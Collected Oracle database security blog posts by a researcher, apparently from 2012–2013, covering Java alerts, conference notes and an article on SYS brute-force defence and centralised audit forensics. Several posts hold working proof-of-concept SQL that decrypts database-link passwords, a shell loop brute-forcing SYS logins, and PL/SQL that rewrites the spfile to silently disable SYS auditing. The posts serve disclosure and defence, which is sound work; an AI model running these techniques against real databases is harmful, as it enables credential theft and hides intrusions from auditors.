Hi Oracle Security Folks,

Following the tradition for one off Java Security Alerts
Oracle Critical Patch Updates and Security Alerts:
http://www.oracle.com/technetwork/topics/security/alerts-086861.html

Oracle Security Alert for CVE-2013-1493:
http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html

The reporters http://blog.fireeye.com/research/2013/02/yaj0-yet-another-java-zero-day-2.html say it is an unreliable exploit. Of course it depends on Java being used in the browser so one fix is to unplug the JVM from the browser.

For the past ten years I have only used Java as a server side technology,, where it is actually making leaps and bounds. I had the pleasure of taking an Oracle Professional Training class on Java 7 new features recently and there are some very nice concurrency features that make separating and delegating tasks a lot easier to accomplish. This has made Java the predominant language of choice for Universities, and also increased the usage of Netbeans IDE which I have found to be more stable than Eclipse and certainly better for writing JDBC applications. My point is that I think the technologists at Oracle are actually doing quite a good job with Java…back to the DB now in prep for 12c..excitement mounts..

Cheers,
Paul

Hi,

It is good to check the integrity or health of a system to avoid future problems.

DBMS_HM.RUN_CHECK(‘Dictionary Integrity Check’, ‘my_run’);

SET LONG 100000
SET LONGCHUNKSIZE 1000
SET PAGESIZE 1000
SET LINESIZE 512

SELECT DBMS_HM.GET_RUN_REPORT(‘MY_RUN’) from dual;

SQL> SELECT DBMS_HM.GET_RUN_REPORT(‘MY_RUN’) from dual;

DBMS_HM.GET_RUN_REPORT(‘MY_RUN’)
——————————————————————————-
——————————————————————————-
——————————————————————————-
——————————————————————————-
Basic Run Information
Run Name : my_run
Run Id : 141
Check Name : Dictionary Integrity Check
Mode : MANUAL
Status : COMPLETED
Start Time : 2013-02-10 13:46:11.861572 +00:00
End Time : 2013-02-10 13:50:43.713326 +00:00
Error Encountered : 0
Source Incident Id : 0
Number of Incidents Created : 0

Input Paramters for the Run
TABLE_NAME=ALL_CORE_TABLES
CHECK_MASK=ALL

Run Findings And Recommendations
Finding
Finding Name : Dictionary Inconsistency
Finding ID : 142
Type : FAILURE
Status : OPEN
Priority : CRITICAL
Message : SQL dictionary health check: file$ pk 42 on object FILE$
failed
Message : Damaged rowid is AAAAARAABAAAADpAAC – description: Filename
/home/oracle/app/oracle/oradata/orcl/pdbseed/system01.dbf is
referenced

Crikey – lots of output – but what does it all mean?

Alternatively…
SQL> SELECT AVG(dbms_utility.get_hash_value(text,1000000000,power(2,30))) FROM DBA_SOURCE WHERE OWNER=’SYS’;

AVG(DBMS_UTILITY.GET_HASH_VALUE(TEXT,1000000000,POWER(2,30)))
————————————————————-
1564889684
Ahh my dictionary is same as before…cool

SQL> select banner from v$version;

BANNER
——————————————————————————–
Oracle Database 12c Enterprise Edition Release 12.1.0.0.2 – 64bit Beta
PL/SQL Release 12.1.0.0.2 – Beta
CORE 12.1.0.0.2 Beta
TNS for Linux: Version 12.1.0.0.2 – Beta
NLSRTL Version 12.1.0.0.2 – Beta

Cheers,
Paul

New Year – New vulnerabilities…yes it’s alert season again, with the main patch out on the 15th, but an out of band alert today for the Java 0 day. It is good to see Oracle taking this well publicised issue so seriously.

Here is the alert – http://www.oracle.com/technetwork/topics/security/alerts-086861.html

For an excellent advanced analysis please see this verified pdf https://partners.immunityinc.com/idocs/Java%20MBeanInstantiator.findClass%200day%20Analysis.pdf

For a more layman’s overview of Java Security this pdf is useful http://www.securingthehuman.org/newsletters/ouch/issues/OUCH-201301_en.pdf

I taught the first publicly available Java Security Course outside of the US in 2007 at SANS London, and wrote the first Java Security exam (GSSP), and wrote and presented the first “Java Top 10 Security issues” in Orlando 2008 – which is still very relevant – and back then the story was the same as it is today… — Java applets are insecure – don’t use them – and strongly consider turning off Java in browsers.
Server-side Java is still a dominant language and probably will be for a while, though Java in the Database itself has had both security and performance issues…as well as questions as to why use Java in the DB – is it to bring more processing to the DB to increase licensing for Oracle, say the cynics, OR to enable less network transactions between app and db pulling data backwards and forwards? Obviously it is nice to have a choice, but PL is a more efficient way to interact with the DB locally.
A larger question in many folks minds will be why use Java at all? It was made popular because Sun had made it cross-platform, but does Oracle have the same cross-platform credibility as Sun? A JVM is slower than native so if x-platform is less of a factor perhaps C will make a comeback. This logic is borne out by http://developers.slashdot.org/story/13/01/07/181219/c-beats-java-as-number-one-language-according-to-tiobe-index. Personally, I do a lot of text file log manipulation so I still use Perl as it is quicker (and have been recommended to try LUA – on the todos), and am intrigued by DBIx http://www.dbix-class.org/.
Agreed, for database connectivity JDBC is still king, so I am still glad I learnt Java at uni many moons ago, but the crux to this is that Java’s expansion market has been Android and the fear is that Oracle’s lawyers scare companies from innovating with the technology in a cross-platform like way. I hope the concept of “Java Stewardship” extends to the legal department.

Anyway, lets hope that the new Oracle patch is reliable.

Keep safe,
Paul

Hi Oracle Security Folks,

UKOUG 2012 in a nutshell:

OAK Table day highlight was Julian’s analysis of RAT capture formats, which made reverse engineering proprietory formats look a lot easier than it should do. Christian’s super secret talk was so secret that it was not given, but managed to catch up on that later.

Monday my presentation was suprisingly full up (Ok it was a small room), and no one fell asleep or ran screaming so that classifies it as successful in my book. The slides are on UKOUG’s web site but require a logon. In truth the talk went very well and the audience genuinely seemed to appreciate the hard work I had put in, and the contribution made by Co-speaker Philip Weedon.

Afterwards, I wandered over to Grant Allen’s Talk. Grant made contributions from Unix perspective including how to log bash commands to syslog (cool) and re-iterated the benefits of centralising audit trail. Had a chat after and started the post talk celebrations which resulted in going to bed at breakfast time. So that’s why they call it “Bed and Breakfast”. The rest of the two days should be annotated with the fact that it took me approximately two days to recover from the Monday night, but it was worth it as had some very interesting talks about how DBA privilege is actually managed – in practise – which is different from the typical Identity Management perspective…more to come on this..

Tuesday was a later start and helped Pete with the Oracle Security Roundtable which was well attended with lively discussion.
Then Tom’s 12c talk which had some security perspectives. Tom’s presentation skills are second to none and he interacted with Hall 1 audience very naturally. What we know is there are a lot of new features for security in 12c as well a lot of extra products that can be purchased to enhance the security of the database.
Conversely I think the actual core security of the central product has been degraded in some ways. For instance password complexity, account locking, password history, failed login throttling etc are no longer effective on SYS in 11 upwards..and many of the OraSec “experts” and DBA Managers are not aware of this because they are bombarded with extraneous information about extra addons which do not cure the core weaknesses.
I published sys_throttler to address this but a full solution is not trivial..so we can say that Oracle Security is not solved yet.

After Tom we headed to Gregory’s Identity Management talk which was a good overview of how to use OVD to manage DB users, and highlighted that Oracle can unexpectedly support two seperate authentication mechanisms for one user (ref Pete), which is something I also alluded to in http://www.oracleforensics.com/wordpress/index.php/2008/09/21/bypassing-ora-01997/.

Identity Management of lower privileged accounts in Oracle is a good thing, but it certainly becomes more difficult once the users are privileged as they can break the chains that bind them….hence the requirement for a comp balance like auditing..

Pete’s Wednesday 9 AM talk on audit trails, was a bit cloudy in my mind first time round, but reading the slides now they are making sense.
Pete showed using client_identifier as central identity through core audit…excellent battle worn advice.
Also discussed identifying sql injections and killing the session automatically…but difficult for a session to kill itself. This would be handy when trying to automatically defend against an attack. Obviously it is possible to call out to the OS but within the DB this is not so easy…work to do again.
Also Pete mentioned using a trigger to enable core audit to save on performance.
A lot of this changes in 12c but the concepts were very interesting…
Pete then transferred to DBA access control mode and described how the power of the DBA can be controlled through individual proxy users proxying to a core dba role which is customised. This is a good strategy for BAU. The problem is of course that to carry out imports/exports and user management the ALTER USER privilege is needed and any user with this or execute on dbms_sys_sql etc can act as a different user so it is not a solution for highest privilege.
Breakglass and time-based access control is the way forward for taming the top dog privileges in my view/experience…though splitting SYSDBA into seperate system privileges goes towards taming SYS e.g. SYSBACKUP and SYSAUD et al.

Pythian were prominent with some interesting work on Human reliability and Privileged Access Monitoring. Absolute applications were busy with their training offerings and DSP had 6 presentations so the vendor element looked healthy.

I would have liked to have gone to…
-Guido Schmutz’s NoSQL presentation but the PDF reads well.
-Carl Dudley’s Audit trail presentation was thorough and of immediate practicable use in 11g.
-Owen Ireland’s Goldengate presentation is an excellent quick start intro for DBA.
-Hitachi’s Muthukumar did a detailed presentation on localisation in Oracle for EU.
-Portix’s Bjorn Rost did an informative presentation on Total Recall listing the virtual columns and AS OF syntax.
Of course there are loads others, these are just the presentations that caught my eye.

The general opinion was that the conference was better than last year. I can’t vouch for that as I wasn’t there last year due to work commitments, but I certainly enjoyed catching up with old friends. Next year I am informed the conference for DB will be in Manchester which is the home of my MSc CS department, Mr Turing, and some of the best music to grace our charts, as well as a special breed of mega pub (ref Moon Under the Water), though the Lass O’ Gowrie aims for quality rather than quantity. In short Manchester is literally a cool place and thankfully still serviced by Virgin trains, so see you there next year.

Thank you to all the excellent presenters this year who have increased my understanding yet again.
It is interesting to see how California’s Oracle User group compares http://www.nocoug.org/presentations.html

Cheers,
Paul

Hello Folks,

A few people have told me that they thought only SYS could select db link passwords.
Truth is any user with SELECT_CATALOG_ROLE can select the passwords from ku$_dblink_view as well.

SQL> select name, userid, utl_raw.cast_to_varchar2(dbms_crypto.decrypt((substr(passwordx,19)), 4353, (substr(passwordx,3,16)))) password from ku$_dblink_view;

NAME
--------------------------------------------------------------------------------
USERID
------------------------------
PASSWORD
--------------------------------------------------------------------------------
TEST_LINK.ENTERPRISE.INTERNAL.UK
DBLINK_ACCOUNT
mongo

If missing execute on dbms_crypto then may need to copy over the ciphertext to another DB under the control of the attacker.

ku$_dblink_view select from SELECT_CATALOG_ROLE is fixed in 11.2.0.3 and above, as is the “stealth password cracking vulnerability” which has gained a lot of attention, and resulted in updates to John and Ettercap.

So which account would be the likely target of this stealth attack? …
The only account that is guaranteed to be present and unlocked is SYS..
For both the stealth brute force and my orabrute style brute force the primary defence is the strength of the SYS password.
If the SYS password is a 15 character passphrase that is changed regularly then the attacks are ineffective. So how to ensure SYS password is complex and the account is secure?
Problem is SYS is immune to profiles in 11g, so no password history, no account locking, and no failed logon delay and crucially no password complexity function.
The SYS password could be ‘a’ and no-one else would be the wiser.

[oracle@localhost ~]$ sqlplus sys/lowsec@localhost/orcl as sysdba

SQL*Plus: Release 11.2.0.2.0 Production on Wed Nov 28 20:40:57 2012

Copyright (c) 1982, 2010, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> alter user sys identified by a;

User altered.

SQL> alter user system identified by a;
alter user system identified by a
*
ERROR at line 1:
ORA-28003: password verification for the specified password failed
ORA-20001: Password length less than 8

The DBA might not even realise the password is ‘a’ if they are coming in through Unix ” / as sysdba “.
SYS can even silently turn off it’s own audit through oradebug so no record of the attack either.

So SYS really is “special”, but will this improve in 12c…? Answers at UKOUG.

Cheers,
Paul

Hello Oracle Security folks,

Good news and bad news – which would you like first?

Ok.. so the bad news is that these user/role/privileges can select and decrypt DBLink passwords on 11.2, as the key to decrypt the ciphertext is included in the password itself.
•SYS
•SYSDBA
•DBA
•SYS WITHOUT SYSDBA
•SYSASM
•EXP_FULL_DATABASE
•DATAPUMP_EXP_FULL_DATABASE
•DATAPUMP_IMP_FULL_DATABASE

PoC:

SQL> CREATE DATABASE LINK "TEST_LINK" CONNECT TO "DBLINK_ACCOUNT" IDENTIFIED BY MYPW USING '(DESCRIPTION=(ADDRESS_LIST=(ADDRESS =(PROTOCOL=TCP)(HOST=192.168.0.25)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=ORCL11)))';

Database link created.

SQL> select name, userid, passwordx from sys.link$ where name='TEST_LINK';
NAME
--------------------------------------------------------------------------------
USERID
------------------------------
PASSWORDX
--------------------------------------------------------------------------------
TEST_LINK
DBLINK_ACCOUNT
058CC531A7BBC08390C066B29CB2E26AF1

SQL> select name, userid, utl_raw.cast_to_varchar2(dbms_crypto.decrypt((substr(passwordx,19)), 4353, (substr(passwordx,3,16)))) from sys.link$ where name='TEST_LINK';

NAME
--------------------------------------------------------------------------------
USERID
------------------------------
PASSWORD
--------------------------------------------------------------------------------
TEST_LINK
DBLINK_ACCOUNT
MYPW

The above issue did not make my Top 10 New Oracle Security Issues which I will publish at UKOUG 2012 on Monday http://2012.ukoug.org/default.asp?p=9339&dlgact=shwprs&prs_prsid=7736&day_dayid=62.

So the good news is that Oracle audit trail does now highlight incoming DBLink activity including the name of the link from the client database.

select userid, terminal, comment$text from sys.aud$ where comment$text like 'DBLINK%';
USERID         NTIMESTAMP#          USERHOST  COMMENT$TEXT
------------  -----------------     -------   --------------
DBLINK_ACCOUNT	19-NOV-12 01.42.16.305194000	orlin	DBLINK_INFO: (SOURCE_GLOBAL_NAME=orcl.4294967295)
DBLINK_ACCOUNT	19-NOV-12 01.42.17.086395000	orlin	DBLINK_INFO: (SOURCE_GLOBAL_NAME=orcl.4294967295)
DBLINK_ACCOUNT	19-NOV-12 01.42.17.086856000	orlin	DBLINK_INFO: (SOURCE_GLOBAL_NAME=orcl.4294967295)

This DBLINK_INFO is very useful and the attached paper expands a little on the subject of DBLink security including Forensic Response…more to come at UKOUG in Birmingham.

Cheers,
Paul

Attack, Defense and Forensic Response in a Distributed Database Estate.
Paul Michael Wright OCP www.oraclesecurity.com
Written August 23rd 2012

-This article demonstrates the main security weakness in Oracle Databases, in that Failed SYS logons are not delayed and SYS is immune to password profiles which together represent significant risk.
-It will then demonstrate a solution to this weakness in the form of sys_throttler delay trigger.
-Finally Distributed Database Forensics will be demonstrated using native auditing to dentify the presence of a SYSDBA brute force attack in a distributed estate using a centralised syslog audit trail.

1. Attack – remotely brute force sysdba account

If a remote user tries to guess the SYS password repeatedly using an automated tool then they are not slowed down, but for other accounts they are. This means that brute force protection is only in place for low privileged accounts not for the highest privilege account. This concept was published in an article by the Author back in 2007 (http://www.rampant-books.com/art_wright_oracle_passwords_orabrute.htm).
See basic attack PoC below.

[oracle@orlin dbs]$ while true;do sqlplus -S -L sys/wrongpw@orlin:1521/orcl_plug as sysdba;sleep 0;done;
ERROR:
ORA-01017: invalid username/password; logon denied
.... 8< .....snip
no failed logon delay for SYS account

[oracle@orlin dbs]$ while true;do sqlplus -S -L system/wrongpw@orlin:1521/orcl_plug;sleep 0;done;
ERROR:
ORA-01017: invalid username/password; logon denied
.... 8< ....snip
failed logon delay starts for non-SYS account

So Oracle DB protects the lower privileged accounts more than the highest privileged SYSDBA account. This is one of the greatest weaknesses in the Oracle DB. For SYS it is even more important to delay remote pw guessing, because it is immune to the security that profiles bring (e.g. password complexity verification function and lockout).

2. Defense – put a time delay on repeated sysdba attempts.
One way to defend against this attack is to introduce a time delay to repeated guesses on the same account to slow the attacker’s guesses down. Here is simplied PoC code that achieves this by adding a one second delay to every attempt. For full production code please contact the author on paulmwright@oraclesecurity.com

Create user sys_throttler identified by lowsec12;
 
Grant execute on dbms_lock to sys_throttler;
 
create or replace trigger sys_throttler.tra_servererror_ora1017
after servererror on database
declare
   l_db_usr varchar2 (32);
begin
   if (ora_is_servererror(1017)) then
      l_db_usr := upper (trim (sys_context ('userenv', 'authenticated_identity')));
      if l_db_usr ='SYS' then
            dbms_lock.sleep (1);
      else
          NULL;
        end if;
   end if;
end tra_servererror_ora1017;
/
--thanks Joe

3. Forensic incident response via centralised auditing

It is not well known is that Oracle is the only DB vendor that has the built-in ability to centralise it’s audit trail free of charge by pushing syslog from all the Databases to a single collector. What this means is that compliance can be achieved for a large Oracle DB estate without having to spend money on a third party logging solution. This article will now show you how to do this based on the experiences of a large scale rollout.

This is what the oracle syslog audit trail looks like:

Sep 28 11:37:24 oracle Oracle Audit[23714]: SESSIONID: "24523"
ENTRYID: "57" STATEMENT: "8" USERID: "SCOTT" USERHOST: "ro-rac3"
TERMINAL: "pts/2" ACTION: "103" RETURNCODE: "0" OBJ$CREATOR: "SCOTT" OBJ$NAME:
"TEST" SES$ACTIONS: "---------S------"
SES$TID: "154816" OS$USERID: "oracle"


The forensic signature for a remote brute force attack on SYS is as follows. The 1017 status code is specific to the failed logon and there are multiple 1017 attempts at the same time for the SYS account, which shows someone is trying to brute force SYS access into the DB.

[root@localhost ~]# tail -f /var/log/oracle.log
Mar 9 00:26:40 localhost Oracle Audit[15819]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15823]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15823]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15827]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15827]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15839]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15843]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15847]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'

It may be the case that the syslog audit trail has been compressed into gunzip format on Unix as this results in great disk savings. The compressed audit trail records can then be searched using commands like the following.

for file in */*/*.gz; do gunzip -c "$file"; done | egrep -i ‘1017’

4. Centralised DB syslogging Implementation Overview:

So Oracle has a great centralised syslog ability which can be used for distributed DB forensics from a single loghost... but is it easy to set up?
A. Run OS syslog commands and test.
As root on DB OS (breakglass)

#note the entry in syslog.conf should have a tab in the middle not a space.
local4.info @dbsyslog01.svr.emea.mydomain.net

May need to replace spaces with tabs in /etc/syslog.conf on the address line for Solaris (or vice versa linux).

#vi or vim this will show spaces as blank
:set list
#single line replacement of spaces by tabs.
s/ //g
#and restart syslog after edit on Solaris
svcadm restart system-log
#or on linux
[root@lab2-5 etc]# service syslog restart

Then logger command to test OS portion of the change works well before testing the DB syslog sending.

logger -t "Oracle Test" -p local4.info "test to local4.info"

B. Configure Database syslog

--as SYS on DB
alter system set audit_syslog_level='local4.info' scope=spfile;
alter system set audit_sys_operations=true SCOPE=SPFILE;
alter system set audit_trail='DB' SCOPE=SPFILE; 
shutdown immediate;
startup;

That is all there is to it. You will note that only SYS actions are being sent to centralised syslog with the above settings. If audit_trail were set to OS, all audit trail could be sent to centralised syslog, but given that SYS can tamper local audit trail this is the main audit trail to centralise. For forensic purposes it is best to use unprocessed audit trail that has not been changed, so the audit trail should be stored on a disk which only gives read access to humans. Being able to demonstrate that the audit trail is read only will give it greater credibility. Once all the DBs have been configured to send DB audit trail via syslog to a centralised loghost then an effective incident response component is in place. Next is the business process to provide the Incident Responder.

5. Discussion

Native syslogging has a drawback in that DBA privilege can be used to turn it off silently using oradebug (http://soonerorlater.hu/download/hacktivity_lt_2011_en.pdf).
Interesting point is that production databases produce audit trail on a steady basis – like a heartbeat - so gaps in audit trail indicate that the audit trail has been turned off (or the DB is down).

6. Conclusion

The fact that Oracle has failed logon connection throttling for all accounts except the most privileged can be regarded as the Achilee's Heel of the database. To partly compensate for this Oracle currently has the best audit trail of any RDBMS on the market. This audit trail can be used to forensically identify a brute force attack on the SYS account in a way that is easy, quick and cheap. The fact that this audit trail is easily centralisable means that Distributed Database Forensics can be carried out at a single loghost for an entire Oracle DB estate. This increases ability to respond and also makes gaining compliance lower cost. In this sense centralised Oracle SYSlogging is the Saving Grace, and I am pleased to say that it stays in 12c! Hurrah! and long may it stay that way, as it appears it is still needed..

Will be expanding on the above in UKOUG presentation at Birmingham Annual Conference.
http://2012.ukoug.org/default.asp?p=9339&dlgact=shwprs&prs_prsid=7736&day_dayid=63

Hi Oracle Security folks,

Been a busy couple of years but have survived to tell the tale.

So summarising the last two years in terms of memorable research the following springs to mind..
David’s create index privileged escalation vulnerability.
Joxean’s impressive TNS Poision research demonstrating how an attacker can proxy DBA commands by inserting their own instance in the signal path.
Lazlo’s oradebug research here and
Esteban’s very interesting crypto issue http://marcel.vandewaters.nl/oracle/security/cryptographic-flaws-in-oracle-database-authentication-protocol. The latter is still live with Oracle PSU out on October 16th and nmap already updated to enable a user’s password hash to be derived from the packet from a failed logon.

….Talking of nmap I was surprised to see that Hakin9 magazine had been the victim of a spoof nmap paper as reported at the Register here. The reason I was surprised was because the spoof really was incredibly high on the BS scale, and anyone reading it should have realised it was a mickey-take…(SCIGEN has been around for at least 7 years now) … Oh and the other reason I was surprised is because I had also been approached by Hakin9 and my newest article is now on the front cover of the brand new issue – lol!….hmmm…how best to react to this one??…well there are some very prestigious names on the spoof…but I can only speak for myself and I have to say that I received remuneration for my new article and the content was beta tested by Hakin9, so the new article is good. I think my reasonable experience with Hakin9 may be due to an improvement reaction necessitated by the recent foul-up. Definitely a good idea for folks to exercise the humour muscles on this one methinks…and it seems that the spoof has resulted in an improvement to publication standards..so I guess we should say thanks.

In a nutshell my new article is about the continued lack of throttling for failed connections as sys, which combines with the lack of profiles for sys to cause a large risk. The paper shows how to mitigate this problem by adding a throttling trigger(thanks Joe), and by centralising DB audit trail to enable Distributed Database Forensics to be done efficiently by one analyst.
I have also fed back to Hakin9 that the code snippets are sometimes formatted a bit awkwardly in the magazine, but the fact that Hakin9 kindly allow Author’s to self-publish their work as well, means that I can provide the original here with easier to read formatting.

So next steps — check out Pete Finnigan’s UKOUG SIG presentation at http://www.ukoug.org/events/ukoug-database-server-sig-meeting6/ and also my own presentation at UKOUG’s Annual Conference in December, which I am excited about as I get a chance to publish my two years worth of work in one go.

As this is “Three Tier Oracle Security”, I will be blogging about Java Security issues in future as well –especially with reference to Adam Gowdiak’s work at http://www.security-explorations.com/en/research.html.

And as a postscript I noticed on Alex’s Twitter feed about DerbyCon presentation from Laszlo Toth & Ferenc Spala. Seems like Oracle Security is going to keep us busy for some time yet.

Keep safe and secure,
Paul

Hi,
Due to work commitments I am not keeping this blog up to date as you will have noticed – so the best way for you to keep up to date is to visit both Pete and Alex’s blogs, or attend events such as that organised by the UKOUG..http://www.ukoug.org/events/security-special/
Keep safe,
Cheers,
Paul.

Hello World,

Thanks to the many folks that attended the Sentrigo Webinar a few hours ago.
Marketing had a few problems with the GoToWebinar software which were solved by excellent team work, Dunkirk Spirit and a sense of humour ~ but did result in my being unable to show this demo of how CREATE ANY DIRECTORY privilege can be used to turn off SYS auditing ~ without the act of turning off the audit being recorded in the audit trail itself. This is why shutdowns and startups as part of mandatory audit are important for security folks to monitor as it may be the only evidence of unauthorised actions having taken place. It is also why using DAMS to enhance Oracle audit is a must for high security organisations (Note: Don’t forget to backup your spfile before you do this test).

SQL> sho parameter audit

NAME TYPE VALUE
———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean TRUE
audit_syslog_level string LOCAL1.INFO
audit_trail string DB

CREATE DIRECTORY DIR2 AS ‘/u01/app/oracle/product/11.2.0/db_1/dbs’;

DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
bu2 varchar2(32767);
bu3 varchar2(32767);
bu4 varchar2(32767);
bu5 varchar2(32767);
bu6 varchar2(32767);
BEGIN
bu2:=hextoraw(’4322000001000000000000000000000000000000000000000000000000000000000014300′);
–
- – - 8< - - - SNIPPED FOR READABILITY.. SEE SCRIPT LINK AT END OF POSTING - - - 8< - - -
--
bu := hextoraw(bu2||bu3||bu4||bu5||bu6);
fi:=UTL_FILE.fopen('DIR2','spfileDB11G.ora','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/

shutdown immediate
startup

SQL> sho parameter audit

NAME TYPE VALUE
———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean FALSE
audit_syslog_level string
audit_trail string DB

The above is a simple demo which arose from a recent conversation with Pete, and is a good reminder of why audit that is external to Oracle’s DB processes is important ~ plus reinforces the need to prevent DB users from accessing the OS. There are quite a few methods as described here http://www.red-database-security.com/tutorial/tutorials.html

The above demo is very similar to the CREATE ANY DIRECTORY paper I wrote a couple of years ago now. The point being that these critically important configuration files are not state checked ~ only the size of the file is verified. Good idea to record and verify sha1sum of these files over time .

The Powerpoint slides from today’s presentation are here.

Thanks again to all those concerned in the presentation today. If your organisation is interested in Oracle Security and/or DAMS you can contact me confidentially to discuss this at paulmwright@oraclesecurity.com . Here is the complete and fully tested script for the above demo (The code works well on 11.2 RHE5-64).

Cheers,
Paul